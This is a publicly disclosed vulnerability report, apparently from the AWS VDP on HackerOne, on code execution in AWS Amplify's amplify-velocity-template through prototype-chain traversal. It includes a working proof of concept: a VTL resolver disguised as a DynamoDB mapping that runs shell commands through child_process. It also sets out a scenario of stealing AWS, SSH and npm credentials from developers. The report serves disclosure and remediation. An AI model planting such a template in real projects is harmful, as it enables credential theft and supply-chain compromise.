HexBrain

AWS VDP · Report #3897236

RCE in AWS Amplify CLI via Prototype Chain Traversal in amplify-velocity-template

Validstatus
highseverity
25upvotes
13 Oct 2026disclosed

How it was found

Summary

amplify-velocity-template (npm, published by Amazon) is a fork of velocityjs used by @aws-amplify/amplify-appsync-simulator to render VTL resolver templates during amplify mock api. The fork never backported any prototype-chain guards from upstream. Property resolution does raw baseRef[id] with zero filtering, so an attacker who controls a .vtl file can reach the Function constructor and execute arbitrary OS commands.

Steps to reproduce

Run these commands on any machine with Node.js installed:

mkdir vtl-rce && cd vtl-rce && npm init -y
npm install [email protected] @aws-amplify/[email protected]

Create a file called poc.js with this content:

const { VelocityTemplate } = require('@aws-amplify/amplify-appsync-simulator');
const fs = require('fs');

// Malicious VTL resolver template -- looks like a normal DynamoDB GetItem mapping
const VTL = [
  '## AppSync Request Mapping -- Query.getUser',
  '#set($userId = $context.arguments.id)',
  '#set($x = {})',
  '#set($log = $x.toString().constructor.constructor.call($x,',
  '  "var cp = process.mainModule.require(\'child_process\');',
  '   var r = cp.execSync(\'id && hostname && uname -a\').toString();',
  '   process.mainModule.require(\'fs\').writeFileSync(\'/tmp/amplify-rce-proof\', r);',
  '   return r"',
  ').call($x))',
  '{',
  '  "version": "2017-02-28",',
  '  "operation": "GetItem",',
  '  "key": { "id": { "S": "$userId" } }',
  '}',
].join('\n');

try { fs.unlinkSync('/tmp/amplify-rce-proof'); } catch {}

// This is the same code path as `amplify mock api`:
// AmplifyAppSyncSimulator.init() -> new VelocityTemplate(content)
var vtl = new VelocityTemplate(
  { content: VTL, path: 'resolvers/Query.getUser.req.vtl' },
  { appSyncConfig: { defaultAuthenticationType: { authenticationType: 'API_KEY' } } },
);

// Build a real GraphQL AST node using the simulator's own graphql module
var graphql = require(require.resolve('graphql', {
  paths: [require.resolve('@aws-amplify/amplify-appsync-simulator')],
}));
var doc = graphql.parse('{ getUser(id: "user-123") { id name } }');
var fieldNode = doc.definitions[0].selectionSet.selections[0];

// This is the same call as AppSyncUnitResolver.resolve() -> requestTemplate.render()
console.log('[1] Rendering VTL template...');
var result = vtl.render(
  { arguments: { id: 'user-123' }, source: {}, stash: {}, result: null },
  { requestAuthorizationMode: 'API_KEY', headers: {}, sourceIp: '127.0.0.1' },
  { fieldName: 'getUser', fieldNodes: [fieldNode], parentType: 'Query', variableValues: {}, fragments: {} },
);
console.log('[2] Resolver output:', JSON.stringify(result.result));

if (fs.existsSync('/tmp/amplify-rce-proof')) {
  console.log('[3] RCE CONFIRMED -- /tmp/amplify-rce-proof contents:');
  console.log(fs.readFileSync('/tmp/amplify-rce-proof', 'utf8'));
  fs.unlinkSync('/tmp/amplify-rce-proof');
}

Then run:

node poc.js

You will see output like this:

[1] Rendering VTL template...
[2] Resolver output: {"version":"2017-02-28","operation":"GetItem","key":{"id":{"S":"user-123"}}}
[3] RCE CONFIRMED -- /tmp/amplify-rce-proof contents:
████████ gid=20(staff) groups=20(staff),12(everyone)...
████████
Darwin ████████ 25.5.0 Darwin Kernel Version 25.5.0 ... arm64

The resolver returned valid DynamoDB JSON. No errors were logged. The id, hostname, and uname -a commands ran silently and wrote their output to /tmp/amplify-rce-proof.

Root cause

amplify-velocity-template/src/compile/references.js resolves object properties with no filtering:

} else if (type === 'property') {
    ret = baseRef[id];  // no guard -- resolves constructor, __proto__, etc.
}

Upstream velocityjs added a prototype-chain denylist in version 2.1.6. The AWS fork never backported it. Every inherited property is reachable, so the chain {}.toString().constructor.constructor reaches the Function constructor directly.

Attack scenario

  1. Attacker puts a malicious .vtl resolver file in an Amplify project (via PR, fork, or direct push).
  2. Developer clones the repo and runs amplify mock api.
  3. Any GraphQL query triggers VTL rendering.
  4. The payload runs child_process.execSync() with the developer's privileges.
  5. Attacker steals ~/.aws/credentials, ~/.ssh/*, or ~/.npmrc and exfiltrates them.

The malicious VTL looks like a normal AppSync resolver. The payload hides in a #set variable assignment. The resolver still returns valid JSON, so the developer sees no errors.

Affected packages

  • amplify-velocity-template 1.4.17 (latest) -- published by amzn-oss -- 60K downloads/week
  • @aws-amplify/amplify-appsync-simulator 2.16.20 (latest) -- 35K downloads/week
  • @aws-amplify/cli (latest) -- 317K downloads/week

Source: https://github.com/aws-amplify/amplify-cli/tree/main/packages/amplify-velocity-template

Recommended fix

Backport prototype-guard.ts from upstream velocityjs 2.1.6 into amplify-velocity-template, or replace property resolution with an allowlist in references.js (getAttributes, getPropMethod, getPropIndex). Only resolve properties where Object.prototype.hasOwnProperty.call(baseRef, key) is true, or where key is on an explicit allowlist of safe built-in methods.

Impact

  • AWS credential theft: developers using Amplify always have AWS credentials configured (~/.aws/credentials or environment variables). Stolen credentials give the attacker access to the victim's AWS account.
  • SSH key theft: ~/.ssh/id_rsa gives access to the victim's GitHub/GitLab repositories and any SSH-accessible infrastructure.
  • npm token theft: ~/.npmrc tokens allow publishing malicious packages under the victim's npm account (supply chain escalation).
  • Persistent backdoor: fs.writeFileSync can drop a reverse shell, cron job, or modified shell profile.
  • CI/CD compromise: if amplify mock api runs in CI (e.g., for integration tests), the attacker gets CI credentials and can pivot to production.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original